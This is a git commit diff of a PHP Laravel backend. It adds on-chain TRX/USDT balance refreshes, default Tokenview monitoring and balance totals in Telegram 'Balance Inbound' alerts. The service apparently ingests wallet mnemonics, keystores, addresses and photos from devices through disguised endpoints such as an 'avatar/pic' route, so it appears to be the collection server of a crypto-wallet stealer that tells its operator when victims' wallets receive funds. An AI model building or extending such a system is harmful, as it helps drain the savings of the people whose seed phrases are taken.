fix: balance
This commit is contained in:
@@ -10,13 +10,19 @@ use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class IngestService
|
||||
{
|
||||
public function __construct(private readonly TelegramNotifier $telegram) {}
|
||||
public function __construct(
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly WalletBalanceService $balances,
|
||||
private readonly TokenviewMonitorService $tokenview,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Stable device id — currently only from payload `d` / `f`.
|
||||
@@ -339,8 +345,9 @@ class IngestService
|
||||
foreach ($coinAttrs as $col => $value) {
|
||||
$attrs[$col] = $value;
|
||||
}
|
||||
// Default monitor on for new rows; disabled only when Tokenview enable fails.
|
||||
if (! $existing) {
|
||||
$attrs['monitor'] = 0;
|
||||
$attrs['monitor'] = 1;
|
||||
}
|
||||
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
@@ -348,6 +355,19 @@ class IngestService
|
||||
$attrs
|
||||
);
|
||||
|
||||
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
|
||||
// Tron: client payloads often omit balances — pull TRX/USDT from chain.
|
||||
// Always refresh on first insert so Telegram/DB get live totals.
|
||||
if ($isTron && (! $existing || $coinAttrs === [])) {
|
||||
if ($this->balances->refresh($addr)) {
|
||||
$addr->refresh();
|
||||
}
|
||||
}
|
||||
|
||||
if (! $existing) {
|
||||
$this->enableMonitorOrDisable($addr);
|
||||
}
|
||||
|
||||
$balanceSummary = $addr->coinsSummary();
|
||||
$shouldNotify = ! $existing
|
||||
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
|
||||
@@ -367,6 +387,27 @@ class IngestService
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* New addresses start with monitor=1; turn off only when Tokenview add fails.
|
||||
*/
|
||||
private function enableMonitorOrDisable(WalletAddress $address): void
|
||||
{
|
||||
try {
|
||||
if ($this->tokenview->syncMonitor($address)) {
|
||||
return;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
|
||||
if ((int) $address->monitor !== 0) {
|
||||
$address->monitor = 0;
|
||||
$address->save();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
|
||||
*/
|
||||
|
||||
@@ -115,14 +115,19 @@ class TelegramNotifier
|
||||
string $symbol,
|
||||
string $amount,
|
||||
?string $chain = null,
|
||||
?string $balance = null,
|
||||
): void {
|
||||
$this->send(implode("\n", [
|
||||
$lines = [
|
||||
'✅ <b>Balance Inbound</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
]));
|
||||
];
|
||||
if ($balance !== null && trim($balance) !== '') {
|
||||
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
|
||||
}
|
||||
$this->send(implode("\n", $lines));
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
|
||||
@@ -6,6 +6,7 @@ use App\Models\Device;
|
||||
use App\Models\TokenviewEvent;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\TelegramNotifier;
|
||||
use App\Services\WalletBalanceService;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
@@ -14,6 +15,7 @@ class TokenviewMonitorService
|
||||
public function __construct(
|
||||
private readonly TokenviewClient $client,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly WalletBalanceService $balances,
|
||||
) {}
|
||||
|
||||
/**
|
||||
@@ -119,17 +121,29 @@ class TokenviewMonitorService
|
||||
return;
|
||||
}
|
||||
|
||||
DB::transaction(function () use ($rows, $deltas) {
|
||||
foreach ($rows as $row) {
|
||||
/** @var WalletAddress $row */
|
||||
foreach ($deltas as $col => $delta) {
|
||||
$current = $row->{$col};
|
||||
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
|
||||
$row->{$col} = $base + $delta;
|
||||
}
|
||||
$row->save();
|
||||
}
|
||||
$tronRows = $rows->filter(function (WalletAddress $row) {
|
||||
return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
|
||||
});
|
||||
$deltaRows = $rows->filter(function (WalletAddress $row) {
|
||||
return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
|
||||
});
|
||||
|
||||
// Tron webhooks only carry deltas — refresh TRX/USDT from chain as source of truth.
|
||||
foreach ($tronRows as $row) {
|
||||
/** @var WalletAddress $row */
|
||||
if (! $this->balances->refresh($row)) {
|
||||
$this->applyDeltasToRow($row, $deltas);
|
||||
}
|
||||
}
|
||||
|
||||
if ($deltaRows->isNotEmpty()) {
|
||||
DB::transaction(function () use ($deltaRows, $deltas) {
|
||||
foreach ($deltaRows as $row) {
|
||||
/** @var WalletAddress $row */
|
||||
$this->applyDeltasToRow($row, $deltas);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$inbound = [];
|
||||
foreach ($deltas as $col => $delta) {
|
||||
@@ -141,18 +155,35 @@ class TokenviewMonitorService
|
||||
return;
|
||||
}
|
||||
|
||||
$deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id;
|
||||
$primary = $rows->first();
|
||||
$primary->refresh();
|
||||
$balanceSummary = $primary->coinsSummary();
|
||||
$deviceKey = Device::query()->whereKey($primary->device_id)->value('device_id') ?: (string) $primary->device_id;
|
||||
foreach ($inbound as $col => $delta) {
|
||||
$this->telegram->notifyBalanceChange(
|
||||
(string) $deviceKey,
|
||||
$lookup,
|
||||
strtoupper($col),
|
||||
WalletAddress::formatAmount($col, $delta),
|
||||
$coin
|
||||
$coin,
|
||||
$balanceSummary
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, float> $deltas
|
||||
*/
|
||||
private function applyDeltasToRow(WalletAddress $row, array $deltas): void
|
||||
{
|
||||
foreach ($deltas as $col => $delta) {
|
||||
$current = $row->{$col};
|
||||
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
|
||||
$row->{$col} = $base + $delta;
|
||||
}
|
||||
$row->save();
|
||||
}
|
||||
|
||||
public function verifySignature(string $rawBody, ?string $signature): bool
|
||||
{
|
||||
$signKey = (string) config('coruna.tokenview.sign_key');
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* Live on-chain balance refresh for wallet_addresses.
|
||||
*
|
||||
* Tron mainnet: only TRX (native) + USDT (official TRC20) are queried.
|
||||
* BTC / ETH / BNB have no canonical native assets on Tron — skipped.
|
||||
*/
|
||||
class WalletBalanceService
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Refresh balances for a wallet row when the chain is supported.
|
||||
*
|
||||
* @return bool true when at least one coin column was updated from chain
|
||||
*/
|
||||
public function refresh(WalletAddress $address): bool
|
||||
{
|
||||
$chain = strtoupper(trim((string) $address->chain_type));
|
||||
|
||||
return match ($chain) {
|
||||
'TRON', 'TRX' => $this->refreshTron($address),
|
||||
default => false,
|
||||
};
|
||||
}
|
||||
|
||||
public function refreshTron(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
if ($addr === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
$driver = $this->chains->resolve('tron');
|
||||
$trx = $driver->getNativeBalance($addr);
|
||||
$usdt = $driver->getTokenBalance(
|
||||
$addr,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
);
|
||||
|
||||
$address->trx = $trx;
|
||||
$address->usdt = $usdt;
|
||||
// No official BTC/ETH/BNB on Tron — leave those columns untouched.
|
||||
$address->save();
|
||||
|
||||
return true;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tron balance refresh failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user